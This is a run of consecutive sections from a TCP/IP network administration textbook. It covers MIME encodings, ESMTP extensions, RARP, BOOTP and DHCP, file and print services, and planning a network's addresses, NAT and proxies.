The Content-Transfer-Encoding header identifies the type of encoding used on the data. Traditional SMTP systems only forward 7-bit ASCII data with a line length of less than 1000 bytes. To ensure that the data from a MIME system is forwarded through gateways that may only support 7-bit ASCII, the data can be encoded. RFC 1521 defines six types of encoding. Some types are used to identify the encoding inherent in the data. Only two types are actual encoding techniques defined in the RFC. The six encoding types are:

7bit

US ASCII data. No encoding is performed on 7-bit ASCII data.

8bit

Octet data. No encoding is performed. The data is binary, but the lines of data are short enough for SMTP transport; i.e., the lines are fewer than 1000 bytes long.

binary

Binary data. No encoding is performed. The data is binary and the lines may be longer than 1000 bytes. There is no difference between binary and 8bit data except the line length restriction; both types of data are unencoded byte (octet) streams. MIME does not handle unencoded bitstream data.

quoted-printable

Encoded text data. This encoding technique handles data that is largely composed of printable ASCII text. The ASCII text is sent unencoded, while bytes with a value greater than 127 or less than 33 are sent encoded as strings made up of the equal sign followed by the hexadecimal value of the byte. For example: the ASCII form feed character, which has the hexadecimal value of 0C, is sent as =0C. Naturally there's more to it than this - for example, the literal equal sign has to be sent as =3D, and the newline at the end of each line is not encoded. But this is the general idea of how quoted-printable data is sent.

base64

Encoded binary data. This encoding technique can be used on any byte-stream data. Three octets of data are encoded as four 6-bit characters, which increases the size of the file by one-third. The 6-bit characters are a subset of US ASCII, chosen because they can be handled by any type of mail system. The maximum line length for base64 data is 76 characters. Figure 3.4 illustrates this 3 to 4 encoding technique.

x-token

Specially encoded data. It is possible for software developers to define their own private encoding techniques. If they do so, the name of the encoding technique must begin with X-. Doing this is strongly discouraged because it limits interoperability between mail systems.

Figure 3.4: base64 encoding

The number of supported data types and encoding techniques grows as new data formats appear and are used in message transmissions. New RFCs constantly define new data types and encoding. Read the latest RFCs to keep up with MIME developments.

MIME defines data types that SMTP was not designed to carry. To handle these and other future requirements, RFC 1869, SMTP Service Extensions, defines a technique for making SMTP extensible. The RFC does not define new services for SMTP; in fact, the only service extensions mentioned in the RFC are defined in other RFCs. What this RFC does define is a simple mechanism for systems to negotiate which SMTP extensions are supported. The RFC defines a new hello command (EHLO) and the legal responses to that command. One response is for the receiving system to return a list of the SMTP extensions it supports. This response allows the sending system to know what extended services can be used, and to avoid those that are not implemented on the remote system. SMTP implementations that support the EHLO command are called Extended SMTP (ESMTP).

Several ESMTP service extensions have been defined for MIME mailers. Table 3.4 lists some of these. The table lists the EHLO keyword associated with each extension, the number of the RFC that defines it, and its purpose. These service extensions are just the beginning. Undoubtedly more will be defined to support MIME and other SMTP enhancements.

Table 3.4: SMTP Service Extensions
Keyword | RFC | Server Extension
8BITMIME | 1652 | Accept 8bit binary data
CHUNKING | 1830 | Accept messages cut into chunks
CHECKPOINT | 1845 | Checkpoint/restart mail transactions
PIPELINING | 1854 | Accept multiple commands in a single send
SIZE | 1870 | Display maximum acceptable message size
DSN | 1891 | Provide delivery status notifications
ETRN | 1985 | Accept remote queue processing requests
ENHANCEDSTATUSCODES | 2034 | Provide enhanced error codes

It is easy to check which extensions are supported by your server by using the EHLO command. The following example is from a sendmail 8.8.5. system:

> telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 peanut ESMTP Sendmail 8.7.5/8.7.3; Tue, 11 Nov 1997 15:22:34 -0500
ehlo peanut
250-peanut Hello craig@localhost [127.0.0.1], pleased to meet you
250-EXPN
250 HELP
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-VERB
250-ONEX
250-XUSR
quit
221 peanut closing connection
Connection closed by foreign host.

The sample system lists nine commands in response to the EHLO greeting. Two of these, EXPN and HELP, are standard SMTP commands that aren't implemented on all systems (the standard commands are listed in Table 3.1 8BITMIME, SIZE, DSN, and ETRN are ESMTP extensions, all of which are described in Table 3.4 The last three keywords in the response are VERB, ONEX, and XUSR. All of these are specific to sendmail version 8. None is defined in an RFC. VERB simply places the sendmail server in verbose mode. ONEX limits the session to a single message transaction. XUSR is as yet unimplemented, but it will be equivalent to the -U sendmail command-line argument. [11] As the last three keywords indicate, the RFCs allow for private ESMTP extensions.

[11] See Appendix E, A sendmail Reference, for a list of the sendmail command-line arguments.

The specific extensions implemented on each operating systems are different. For example, on a Solaris 2.5.1 system only three keywords (EXPN, SIZE, and HELP) are displayed in response to EHLO. The purpose of EHLO is to identify these differences at the begining of the SMTP mail exchange.

ESMTP and MIME are important because they provide a standard way to transfer non-ASCII data through email. Users share lots of application specific data that are not 7-bit ASCII. Many users depend on email as a file transfer mechanism.

SMTP, POP, and MIME are essential parts of the mail system, but other email protocols may also be essential in the future. The one certainty is that the network will continue to change. You need to track current developments and include helpful technologies into your planning. In the next section we look at the various types of TCP/IP configuration servers. Unlike DNS and email, configuration servers are not used on most networks. This is changing, however. The demand for easier installation and improved mobility may make configuration servers part of your network's future.

Previous: 3.3 Domain Name Service | TCP/IP Network Administration | Next: 3.5 Configuration Servers
3.3 Domain Name Service | Book Index | 3.5 Configuration Servers


[Chapter 3] 3.5 Configuration Servers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.4 Mail Services Chapter 3
Network Services 		Next: 3.6 Bootstrap Protocol

3.5 Configuration Servers

The powerful features that add to the utility and flexibility of TCP/IP also add to its complexity. TCP/IP is not as easy to configure as some other networking systems. TCP/IP requires that the configuration provide hardware, addressing, and routing information. It is designed to be independent of any specific underlying network hardware, so configuration information that can be built into the hardware in some network systems cannot be built-in for TCP/IP. The information must be provided by the person responsible for the configuration. This assumes that every system is run by people who are knowledgeable enough to provide the proper information to configure the system. Unfortunately, this assumption does not always prove correct.

Configuration servers make it possible for the network administrator to control TCP/IP configuration from a central point. This relieves the end user of some of the burden of configuration and improves the quality of the information used to configure systems.

TCP/IP has three protocols that simplify the task of configuration: RARP, BOOTP, and DHCP. We begin with RARP, the oldest and most basic of these configuration tools.

3.5.1 Reverse Address Resolution Protocol

RARP, defined in RFC 903, is a protocol that converts a physical network address into an IP address, which is the reverse of what Address Resolution Protocol (ARP) does. A Reverse Address Resolution Protocol server maps a physical address to an IP address for a client that doesn't know its own IP address. The client sends out a broadcast using the broadcast services of the physical network. [12] The broadcast packet contains the client's physical network address and asks if any system on the network knows what IP address is associated with the address. The RARP server responds with a packet that contains the client's IP address.

[12] Like ARP, RARP is a Network Access Layer protocol that uses physical network services that reside below the Internet Layer. See the discussion of TCP/IP protocol layers in Chapter 1, Overview of TCP/IP.

The client knows its physical network address because it is encoded in the Ethernet interface hardware. On most systems you can easily check the value with a command. For example, on a Solaris system the superuser can type:

# ifconfig le0
le0: flags=63<UP,BROADCAST,NOTRAILERS,RUNNING>
        inet 128.66.12.1 netmask ffffff00 broadcast 128.66.12.255
        ether 8:0:20:e:12:37

The ifconfig command can set or display the configuration values for a network interface. [13] le0 is the device name of the Ethernet interface. The Ethernet address is displayed after the ether label. In the example, the address is 8:0:20:e:12:37.

[13] See Chapter 6, Configuring the Interface , for information about the ifconfig command.

The RARP server looks up the IP address that it uses in its response to the client in the /etc/ethers file. The /etc/ethers file contains the PC's Ethernet address followed by the PC's hostname. For example:

2:60:8c:48:84:49        hazel
0:0:c0:a1:5e:10         hickory
0:80:c7:aa:a8:04        acorn
8:0:5a:1d:c0:7e         cashew
8:0:69:4:6:31           pistachio

To respond to a RARP request, the server must also resolve the host name found in the /etc/ethers file into an IP address. Domain name service or the hosts file is used for this task. The following hosts file entries could be used with the ethers file shown above.

hazel           172.16.3.10
hickory         172.16.3.16
acorn           172.16.3.4
cashew          172.16.3.7
pistachio       172.16.3.21

Given these sample files, if the server receives an RARP request that contains the Ethernet address, 0:80:c7:aa:a8:04, it matches it to acorn in the /etc/ethers file. The server uses the name acorn to look up the IP address. It then sends the IP address 172.16.3.4 out as its ARP response.

RARP is a useful tool, but it provides only the IP address. There are still several other values that need to be manually configured. BOOTP is a more flexible configuration tool that provides more values than just the IP address and can deliver those values via the network.

Previous: 3.4 Mail Services | TCP/IP Network Administration | Next: 3.6 Bootstrap Protocol
3.4 Mail Services | Book Index | 3.6 Bootstrap Protocol


[Chapter 3] 3.6 Bootstrap Protocol

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.5 Configuration Servers Chapter 3
Network Services 		Next: 3.7 File and Print Servers

3.6 Bootstrap Protocol

Bootstrap Protocol (BOOTP) is defined in RFCs 951 and 1532. The RFCs describe BOOTP as an alternative to RARP, and when BOOTP is used RARP is not needed. BOOTP, however, is a more comprehensive configuration protocol than RARP. It provides much more configuration information and has the potential to offer still more. The original specification allowed vendor extensions as a vehicle for the protocol's evolution. RFC 1048 first formalized the definition of these extensions, which have been updated over time and are currently defined in RFC 2132. BOOTP and its extensions became the basis for the Dynamic Host Configuration Protocol (DHCP). (More on DHCP later.)

The BOOTP client broadcasts a single packet called a BOOTREQUEST packet that contains, at a minimum, the client's physical network address. The client sends the broadcast using the address 255.255.255.255, which is a special address called the limited broadcast address. [14] The client waits for a response from the server. If a response is not received within a specified time interval, the client retransmits the request. BOOTP uses UDP as a transport protocol and, unlike RARP, it does not require any special Network Access Layer protocols.

[14] This address is useful because, unlike the normal broadcast address, it doesn't require the system to know the address of the network it is on.

The server responds to the client's request with a BOOTREPLY packet. BOOTP uses two different well-known port numbers. UDP port number 67 is used for the server and UDP port number 68 is used for the client. This is very unusual. Most software uses a well-known port on the server side and a randomly generated port on the client side. [15] The random port number ensures that each pair of source/destination ports identifies a unique path for exchanging information. A BOOTP client, however, is still in the process of booting. It may not know its IP address. Even if the client generates a source port for the BOOTREQUEST packet, a server response that is addressed to that port and the client's IP address won't be read by a client that doesn't recognize the address. Therefore, BOOTP sends the response to a specific port on all hosts. A broadcast sent to UDP port 68 is read by all hosts, even by a system that doesn't know its specific address. The system then determines if it is the intended recipient by checking the physical network address embedded in the response.

[15] How and why random source port numbers are used is described in Chapter 1.

The server fills in all of the fields in the packet for which it has data. BOOTP can provide every essential TCP/IP configuration value. Chapter 9 provides a tutorial on setting up a BOOTP server, as well as a complete list of all of the configuration parameters that BOOTP can provide. In the next section we look at DHCP, which is based on BOOTP.

3.6.1 Dynamic Host Configuration Protocol

Dynamic Host Configuration Protocol (DHCP) is defined in RFCs 2131 and 2132. It's designed to be compatible with BOOTP. RFC 1534 outlines interactions between BOOTP clients and DHCP servers, and between DHCP clients and BOOTP servers. But interoperability problems are possible; many network administrators limit DHCP servers to DHCP clients. That's not necessary. See Chapter 9 and Appendix D, A dhcpd Reference for information on supporting BOOTP clients with DHCP servers.

DHCP uses the same UDP ports, 67 and 68, as BOOTP and the same BOOTREQUEST and BOOTREPLY packet format. But DHCP is more then just an update of BOOTP. The new protocol expands the function of BOOTP in two areas:

  • The configuration parameters provided by a DHCP server include everything defined in the Requirements for Internet Hosts RFC. DHCP provides a client with a complete set of TCP/IP configuration values.

  • DHCP permits automated allocation of IP addresses.

DHCP uses the portion of the BOOTP packet originally set aside for vendor extensions to indicate the DHCP packet type and to carry a complete set of configuration information. DHCP calls the values in this part of the packet options instead of vendor extensions. This is a more accurate description because DHCP defines how the options are used and does not leave their definition up to the vendors. To handle the full set of configuration values from the Requirements for Internet Hosts RFC, the Options field is expanded to 312 bytes from the original 64 bytes of the BOOTP Vendor Extensions field.

You don't usually need to use this full set of configuration values. Don't get me wrong. The parameters are needed for a complete TCP/IP configuration. It's just that you don't need to define values for them. Default values are provided in most TCP/IP implementations, and the defaults only need to be changed in special circumstances. Frankly, you don't need most of the parameters defined by BOOTP, let alone any additional parameters. The expanded configuration parameters of DHCP make it a more complete protocol than BOOTP, but they are of only marginal value.

For most network administrators, automatic allocation of IP addresses is a more interesting feature. DHCP allows addresses to be assigned in three ways:

Manual allocation

The network administrator keeps complete control over addresses by specifically assigning them to clients. This is exactly the same way that addresses are handled under BOOTP.

Automatic allocation

The DHCP server permanently assigns an address from a pool of addresses. The administrator is not involved in the details of assigning a client an address.

Dynamic allocation

The server assigns an address to a DHCP client for a limited period of time. The limited life of the address is called a lease. The client can return the address to the server at any time, but must request an extension from the server to retain the address longer than the time permitted. The server automatically reclaims the address after the lease expires if the client has not requested an extension.

Dynamic allocation is useful in a large distributed network where many systems are being added and deleted. Unused addresses are returned to the pool of addresses without relying on users or system administrators to take action to return them. Addresses are only used when and where they're needed. Dynamic allocation allows a network to make the maximum use of a limited set of addresses. It is particularly well-suited to mobile systems that move from subnet to subnet and therefore must be constantly reassigned addresses appropriate for their current network location.

Dynamic address allocation does not work for every system. Name servers, email servers, login hosts and other shared systems are always online, and they are not mobile. These systems are accessed by name, so a shared system's domain name must resolve to the correct address. Shared systems are manually allocated permanent, fixed addresses.

Dynamic address assignment has major repercussions for DNS. DNS is required to map hostnames to IP addresses. It cannot perform this job if IP addresses are constantly changing and DNS is not informed of the changes. To make dynamic address assignment work for all types of systems, we need a new DNS that can be dynamically updated by the DHCP server. The IETF is currently working on a standard for Dynamic DNS. When fully operational, it will help make dynamic addresses available to systems that provide services and to those that use them.

Given the nature of dynamic addressing, most sites assign permanent fixed addresses to shared servers. This happens through traditional system administration and is not handled by DHCP. In effect, the administrator of the shared server is given an address and puts that address in the shared server's configuration. Using DHCP for some systems doesn't mean it must be used for all systems.

Many DHCP servers can support BOOTP clients. However, a DHCP client is needed to take full advantage of the services offered by DHCP. BOOTP clients do not understand dynamic address leases. They do not know that an address can time out and that it must be renewed. BOOTP clients must be manually or automatically assigned permanent address. True dynamic address assignment is limited to DHCP clients.

Therefore, most sites that use DHCP have a mixture of:

  • Permanent addresses assigned to systems that can't use DHCP or BOOTP

  • Manual addresses assigned by DHCP to BOOTP clients

  • Dynamic addresses assigned to all DHCP clients

We conclude this chapter with a discussion of file and print servers.

Previous: 3.5 Configuration Servers | TCP/IP Network Administration | Next: 3.7 File and Print Servers
3.5 Configuration Servers | Book Index | 3.7 File and Print Servers


[Chapter 3] 3.7 File and Print Servers

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.6 Bootstrap Protocol Chapter 3
Network Services 		Next: 3.8 Summary

3.7 File and Print Servers

The last two network services, file and print services, make the network more convenient for users. Not long ago, disk drives and high-quality printers were relatively expensive, and diskless workstations were common. Today every system has a large hard drive and many have their own high-quality laser printers, but the demand for resource-sharing services is higher than ever.

3.7.1 File Sharing

File sharing is not the same as file transfer. It is not simply the ability to move a file from one system to another. A true file-sharing system does not require you to move entire files across the network. It allows files to be accessed at the record level so that it is possible for a client to read a record from a file located on a remote server, update that record, and write it back to the server - without moving the full file from the server to the client.

File sharing is transparent to the user and to the application software running on the user's system. Through file sharing, users and programs access files located on remote systems as if they were local files. In a perfect file-sharing environment, the user neither knows nor cares where files are actually stored.

File sharing didn't exist in the original TCP/IP protocol suite. It was added to support diskless workstations. Unlike a proprietary LAN where one vendor defines the official file-sharing protocol, TCP/IP is an open protocol suite and anyone can propose a new protocol. That's why there are three TCP/IP protocols for file sharing:

Remote File System

RFS was defined by AT&T for UNIX System V. It is offered on many UNIX systems, but rarely used.

Andrew File System

AFS is a file-sharing system developed at Carnegie Mellon University. AFS has several performance enhancements that make it particularly well-suited for wide area network (WAN) use. AFS has evolved into Distributed File System (DFS). Despite its features, it is not the most widely used file sharing system.

Network File System

NFS was defined by Sun Microsystems to support their diskless workstations. NFS is designed primarily for LAN applications and is implemented for all UNIX systems and many other operating systems.

You will probably use NFS, as it is the most widely used TCP/IP file-sharing protocol. For a detailed discussion, see Chapter 9.

3.7.2 Print Services

A print server allows printers to be shared by everyone on the network. Printer sharing is not as important as file sharing, but it is a useful network service. The advantages of printer sharing are:

  • Fewer printers are needed, and less money is spent on printers and supplies.

  • Reduced maintenance. There are fewer machines to maintain, and fewer people spending time fiddling with printers.

  • Access to special printers. Very high-quality color printers and very high-speed printers are expensive and needed only occasionally. Sharing these printers makes the best use of expensive resources.

There are two techniques commonly used for sharing printers on a TCP/IP network. One technique is to use the network's file sharing services. The other approach is to use the traditional UNIX lpr command and an lpd server. Print server configuration is covered in Chapter 9.

Previous: 3.6 Bootstrap Protocol | TCP/IP Network Administration | Next: 3.8 Summary
3.6 Bootstrap Protocol | Book Index | 3.8 Summary


[Chapter 3] 3.8 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.7 File and Print Servers Chapter 3
Network Services 		Next: 4. Getting Started

3.8 Summary

TCP/IP provides some network services that simplify network installation, configuration, and use. Name service is one such service and it is used on every TCP/IP network.

Name service can be provided by the host table, Domain Name Service (DNS), and Network Information Service (NIS). The host table is a simple text file stored in /etc/hosts. Most systems have a small host table, but it cannot be used for all applications because it is not scalable and does not have a standard method for automatic distribution. NIS, the Sun "yellow pages" server, solves the problem of automatic distribution for the host table but does not solve the problem of scaling. DNS, which superceded the host table as a TCP/IP standard, does scale. DNS is a hierarchical, distributed database system that provides hostname and address information for all of the systems in the Internet.

Simple Mail Transfer Protocol (SMTP), Post Office Protocol (POP), and Multipurpose Internet Mail Extensions (MIME) are the building blocks of a TCP/IP email network. SMTP is a simple request/response protocol that provides end-to-end mail delivery. Sometimes end-to-end mail delivery is not suitable and the mail must be routed to a mail server. TCP/IP mail servers can use POP to move the mail from the server to the end system where it is read by the user. SMTP can only deliver 7-bit ASCII data. MIME extends the TCP/IP mail system so that it can carry a wide variety of data.

Many configuration values are needed to install TCP/IP. These values can be provided by a configuration server. Three protocols are popular for distributing configuration information:

RARP

Reverse Address Resolution Protocol tells a client its IP address. The RARP server does this by mapping the client's Ethernet address to its IP address. The Ethernet to IP address mappings are stored on the server in the /etc/ethers file.

BOOTP

Bootstrap Protocol provides a wide range of configuration values.

DHCP

Dynamic Host Configuration Protocol extends BOOTP to provide the full set of configuration parameters defined in the Requirements for Internet Hosts RFC. It also provides for dynamic address allocation, which allows a network to make maximum use of a limited set of addresses.

Network File System (NFS) is the leading TCP/IP file sharing protocol. It allows server systems to export directories that are then mounted by clients and used as if they were local disk drives. The UNIX LPD/LPR protocol can be used for printer sharing on a TCP/IP network.

This chapter concludes our introduction to the architecture, protocols, and services of a TCP/IP network. In the next chapter we begin to look at how to install a TCP/IP network by examining the process of planning an installation.

Previous: 3.7 File and Print Servers | TCP/IP Network Administration | Next: 4. Getting Started
3.7 File and Print Servers | Book Index | 4. Getting Started


[Chapter 4] Getting Started

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 3.8 Summary Chapter 4 Next: 4.2 Basic Information

4. Getting Started

Contents:
Connected and Non-Connected Networks
Basic Information
Planning Routing
Planning Naming Service
Other Services
Informing the Users
netconfig
Summary

In this chapter, our emphasis shifts from how TCP/IP functions to how it is configured. While Chapters 1-3 describe the TCP/IP protocols and how they work, now we begin to explore the network configuration process. The first step in this process is planning. Before configuring a host to run TCP/IP, you must have certain information. At the very least, every host must have a unique IP address and hostname. You should also decide on the items below before configuring a system:

Default gateway address

If the system communicates with TCP/IP hosts that are not on its local network, a default gateway address may be needed. Alternatively, if a routing protocol is used on the network, each device needs to know that protocol.

Name server addresses

To resolve hostnames into IP addresses, each host needs to know the addresses of the domain name servers.

Domain name

Hosts using the domain name service must know their correct domain name.

Subnet mask

To communicate properly, each system on a network must use the same subnet mask.

Broadcast address

To avoid broadcast problems, the broadcast address of every computer on a network must be the same.

If you're adding a system to an existing network, make sure you find out the answers from your network administrator before putting the system online. The network administrator is responsible for making and communicating decisions about overall network configuration. If you have an established TCP/IP network, you can skip several sections in this chapter, but you may still want to read about selecting hostnames, planning mail systems, and other topics that affect mature networks as much as they do new networks.

If you are creating a new TCP/IP network, you will have to make some basic decisions. Will the new network connect to the Internet? If it will, how is the connection to be made? How should the network number be chosen? How do I register a domain name? How do I choose hostnames? In the following sections, we cover the information you need to make these decisions.

4.1 Connected and Non-Connected Networks

First, you must decide whether or not your new network will be directly connected to the Internet. The Internet's administration makes a distinction between networks connected to the Internet and those that are not connected. A connected network is directly attached to the Internet and has full access to other networks on the Internet. A non-connected network is not directly attached to the Internet, and its access to Internet networks is limited. An example of a non-connected network is a TCP/IP network that attaches to the outside world via a mail gateway at America Online (AOL). Users on the network can send mail to Internet hosts but they cannot directly rlogin to one of them. [1]

[1] rlogin is covered in Chapter 9, Configuring Network Servers .

Many TCP/IP networks are not connected to the Internet. On these networks, TCP/IP is used for communication between the organization's various networks. Private networks that interconnect the various parts of an organization are often called enterprise networks. When those private networks use the information services applications that are built on top of TCP/IP, particularly Web servers and browsers, to distribute internal information, those networks are called intranets.

There are a few basic reasons why many sites do not connect to the Internet. One reason is security. Connecting to any network gives more people access to your system. Connecting to a global network with millions of users is enough to scare any security expert. There is no doubt about it: connecting to the Internet increases the security risks for your computer. Chapter 12, Network Security , covers some techniques for reducing this risk.

Cost versus benefit is another consideration. Many organizations do not see sufficient value in an Internet connection. For some organizations, low use or limited requirements, such as only needing email access, make the cost of an Internet connection exceed the benefit. For others, the primary reason for an Internet connection is to provide information about their products. It is not necessary to connect the entire enterprise network to the Internet to do this. It is often sufficient to connect a single Web server to the local Internet Service Provider (ISP) or to buy Web services from the ISP to provide information to your customers.

Other organizations consider an Internet connection an essential requirement. Educational and research institutions depend on the Internet as a source of information. Many companies use it as a means of delivering service and support to their customers.

You may have both types of networks: a "non-connected" enterprise network sitting behind a security firewall, and a small "connected" network that provides services to your external customers and proxy service for your internal users.

Unless you have carefully determined what your needs are and what an Internet connection will cost, you cannot know whether an Internet connection is right for your organization. Your local Internet service provider (ISP) can give you the various cost and performance alternatives. The next section offers ways to locate appropriate ISPs. Regardless of whether or not you decide to connect your network to the Internet, one thing is certain: you should build your enterprise network using the TCP/IP protocols.

4.1.1 Network Contacts

Choosing an ISP for your network can be confusing. Currently more than 5,000 ISPs operate in the United States alone. No attempt is made to list them all here. Instead we provide pointers to where you can obtain information on ISPs via email, newsgroups, the Web, and in print.

Readers who want basic information about the Internet can start by reading a book about the Internet. My favorite is The Whole Internet Users' Guide and Catalog, by Ed Krol (O'Reilly & Associates). It provides a user-oriented focus on the Internet and a substantial list of ISPs. Another book that provides a business focus on "getting connected" is Getting Connected: Establishing a Presence on the Internet, by Kevin Dowd (O'Reilly & Associates).

If you can send email to the Internet, request information about the ISPs in your area by sending email to zahner@aimnet.com with the words "MY AREA CODE =" followed by your area code in both the subject line and the body of the message. Here is an example for mail sent from a Solaris system to inquire for service providers for the 301 area code:

% Mail zahner@aimnet.com
Subject: MY AREA CODE = 301
MY AREA CODE = 301
^D
EOT

Use network news to obtain information about ISPs from the newsgroups alt.internet.services and alt.internet.services.wanted. Monitor alt.internet.services for announcements. Post a query to alt.internet.services.wanted asking if anyone knows of a good ISP in your area. Generally people in newsgroups have strong opinions and are willing to share them!

A good source of information about service providers is The List from Mecklermedia, which is accessible on the Web at http://thelist.iworld.com. The List contains information on thousands of ISPs. The information is sorted into country code and telephone area code lists to make it more useful.

Ask prospective ISPs about services as well as prices. Some ISPs specialize in providing low-cost service to home users. They emphasize price. However, if you are connecting a full network to the Internet, you may want an ISP that can provide network address, name service, Web services, and other features that your network might need.

Previous: 3.8 Summary | TCP/IP Network Administration | Next: 4.2 Basic Information
3.8 Summary | Book Index | 4.2 Basic Information


[Chapter 4] 4.2 Basic Information

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 4.1 Connected and Non-Connected Networks Chapter 4
Getting Started 		Next: 4.3 Planning Routing

4.2 Basic Information

Regardless of whether or not your network is connected to the Internet, you must provide certain basic information to configure the physical TCP/IP network interface. As we see in Chapter 6, Configuring the Interface , the network interface needs an IP address and may also need a subnet mask and broadcast address. In this section we look at how the network administrator arrives at each of the required values.

4.2.1 Obtaining an IP Address

Every interface on a TCP/IP network must have a unique IP address. If a host is part of the Internet, its IP address must be unique within the entire Internet. If a host's TCP/IP communications are limited to a local network, its IP address only needs to be unique locally. Administrators whose networks will not be connected to the Internet select an address from RFC 1918, Address Allocation for Private Internets, which lists network numbers that are reserved for private use. [2] The private network numbers are:

[2] The address (172.16.0.0) used in this book is an address set aside for use by non-connected enterprise networks. Feel free to use this address on your network if it will not be connected to the Internet.

  • Class A network 10.0.0.0 (10/8 prefix and a 24-bit block of addresses).

  • Class B networks 172.16.0.0 to 172.31.0.0 (172.16/12 prefix and a 20-bit block of addresses).

  • Class C network 192.168.0.0 to 192.168.255.0 (192.168/16 prefix and a 16-bit block of addresses).

Networks connecting to the Internet must obtain official network addresses. An official address is needed for every system on your network that directly exchanges data with remote Internet hosts. [3] Obtain the address from your ISP. Your ISP has been delegated authority over a group of network addresses, and should be able to assign you a network number. If your local ISP doesn't offer this service, perhaps the ISP's upstream provider does. Ask your local ISP who it receives service from and ask that organization for an address. If all else fails, you may be forced to go directly to an Internet registry. The box Internet Registries provides information about the Internet registry services. The form required for registering an address is available at ftp://rs.internic.net/templates/internet-number-template.txt. Use the application as a last resort to obtain an address.

[3] Hosts that communicate with the Internet through a firewall or proxy server may not need official addresses. Check your firewall/proxy server documentation.

The advantages to choosing a network address from RFC 1918 are that you do not have to apply for an official address and you save address space for those who do need to connect to the Internet. [4] The advantage to obtaining your address from an Internet registry is that you will not have to change your address in the future if you do connect to the Internet.

[4] See Chapter 2, Delivering the Data.

If you do choose an address from RFC 1918 it is still possible to connect to the Internet without renumbering all of your systems. But it will take some effort. You'll need a network address translation (NAT) box or a proxy server. NAT is available as a separate piece of hardware or as an optional piece of software in some routers and firewalls. It works by converting the source address of datagrams leaving your network from your private address to your official address. Address translation has several advantages.

  • It conserves IP addresses. Most network connections are between systems on the same enterprise network. Only a small percentage of systems need to connect to the Internet at any one time. Therefore far fewer official IP addresses are needed than the total number of systems on an enterprise network. NAT makes it possible for you to use a large address space from RFC 1918 for configuring your enterprise network while using only a small official address space for Internet connections.

  • It eliminates address spoofing, a security attack in which a remote system pretends to be a local system. The addresses in RFC 1918 cannot be routed over the Internet. Therefore, even if a datagram is routed off of your network toward the remote system, the fact that the datagram contains an RFC 1918 destination address means that the routers in the Internet will discard the datagram as a martian. [5]

    [5] A martian is a datagram with an address that is known to be invalid.

  • It eliminates the need to renumber your hosts when you connect to the Internet.

Network address translation also has disadvantages:

Cost

NAT may add cost for new hardware or optional software.

Performance

Address translation adds overhead to the processing of every datagram. When the address is changed, the checksum must be recalculated. Furthermore, some upper-layer protocols carry a copy of the IP address that also must be converted.

Reliability

NAT is a new technology and there is very little experience with it in the network. Routers never modify the addresses in a datagram header, but NAT does. This might introduce some instability. Similarly, no one has much experience in determining how many addresses should be kept in a NAT address pool or how long an address should be held by a connection before it is released back to the pool.

Security

NAT limits the use of encryption and authentication. Authentication schemes that include the header within the calculation do not work because the router changes the addresses in the header. Encryption does not work if the encrypted data includes the source address.

Proxy servers provide many of the same advantages as NAT boxes. In fact, these terms are often used interchangeably. But there are differences. Proxy servers are application gateways originally created as part of firewall systems to improve security. Internal systems connect to the outside world through the proxy server, and external systems respond to the proxy server. Unlike routers, even routers with network address translation, the external systems do not see a network of internal systems. They see only one system - the proxy server. All ftp, telnet, and other connections appear to come from one IP address: the address of the proxy server. Therefore, the difference between NAT boxes and proxy servers is that NAT uses a pool of IP addresses to differentiate the connection between internal and external systems. The true proxy server has only one address and therefore must use protocol numbers and port numbers to differentiate the connections.

Internet Registries

The original network information center was the SRI NIC, sri-nic.arpa. In 1992 the NIC moved to nic.ddn.mil and became the DDN NIC. Then in April 1993 the registration, directory, and information services it provided for the Internet moved to the new Internet NIC, internic.net. The InterNIC still provides these services but it does not do so alone.

Almost every large network has its own network information center. Most of these NICs provide access to all the RFCs, FYIs, and other TCP/IP documentation. A few provide registration services. For the Internet to work properly, IP addresses and domain names must be unique. To guarantee this addressing, authority is carefully delegated. Authority to delegate domains and addresses has been given to the Internet Resource Registries (IRR). Currently these are: RIPE for Europe, APNIC for Asia and the Pacific, CA*net for Canada, RNP for Brazil, and InterNIC for the rest of us. More registries may be created at any time. (See the discussion of generic top-level domains (gTLDs) in Chapter 3, Network Services.) Additionally large groups of addresses have been delegated to ISPs so that they can assign them to their customers.

The place to start looking for registry services is your ISP. If it does not provide these services, contact the InterNIC. You can contact the InterNIC at the postal address:

Network Solutions
InterNIC Registration Services
505 Huntmar Park Drive
Herndon, VA 22070

You can also reach the InterNIC via telephone at 703-742-4777 or via fax at 703-742-4811.

All of the forms needed to register an address, domain name, or other essential value can be obtained from the InterNIC using either anonymous FTP or a Web browser. Obtain the forms via anonymous FTP from rs.internic.net, where they are stored in the templates directory. Via the Web, connect to the Registration Template Guide at http://rs.internic.net/help/templates.html. It provides links to all of the forms and descriptions of when they are used and how they are filled in.

Proxy servers often have added security features. Address translation can be done at the IP layer. Proxy services require the server to handle data up to the application layer. Security filters can be put in proxy servers that filter data at all layers of the protocol stack.

Given the differences discussed here, network address translation servers should scale better than proxy servers, and proxy servers should provide better security. Proxy servers are frequently used in place of address translation for small networks. Before you decide to use either NAT or proxy services, make sure they are suitable for your network needs.

4.2.1.1 Assigning host addresses

So far we have been discussing network numbers. Our imaginary company's network (nuts-net) was assigned network number 172.16.0.0/16. The network administrator assigns individual host addresses within the range of IP addresses available to the network address; i.e., the nuts-net administrator assigns the last two bytes of the four-byte address. [6] The portion of the address assigned by the administrator cannot have all bits 0 or all bits 1; i.e., 172.16.0.0 and 172.16.255.255 are not valid host addresses. Beyond these two restrictions, you're free to assign host addresses in any way that seems reasonable to you.

[6] The range of addresses is called the address space.

Network administrators usually assign host addresses in one of two ways:

One address at a time

Each individual host is assigned an address, perhaps in sequential order, through the address range.

Groups of addresses

Blocks of addresses are delegated to smaller organizations within the overall organization, which then assign the individual host addresses.

The assignment of groups of addresses is most common when the network is subnetted, and the address groups are divided along subnet boundaries. But assigning blocks of addresses does not require subnetting. It can be just an organizational device for delegating authority. Delegating authority for groups of addresses is often very convenient for large networks, while small networks tend to assign host addresses one at a time. No matter how addresses are assigned, someone must retain sufficient central control to prevent duplication and to ensure that the addresses are recorded correctly on the domain name servers.

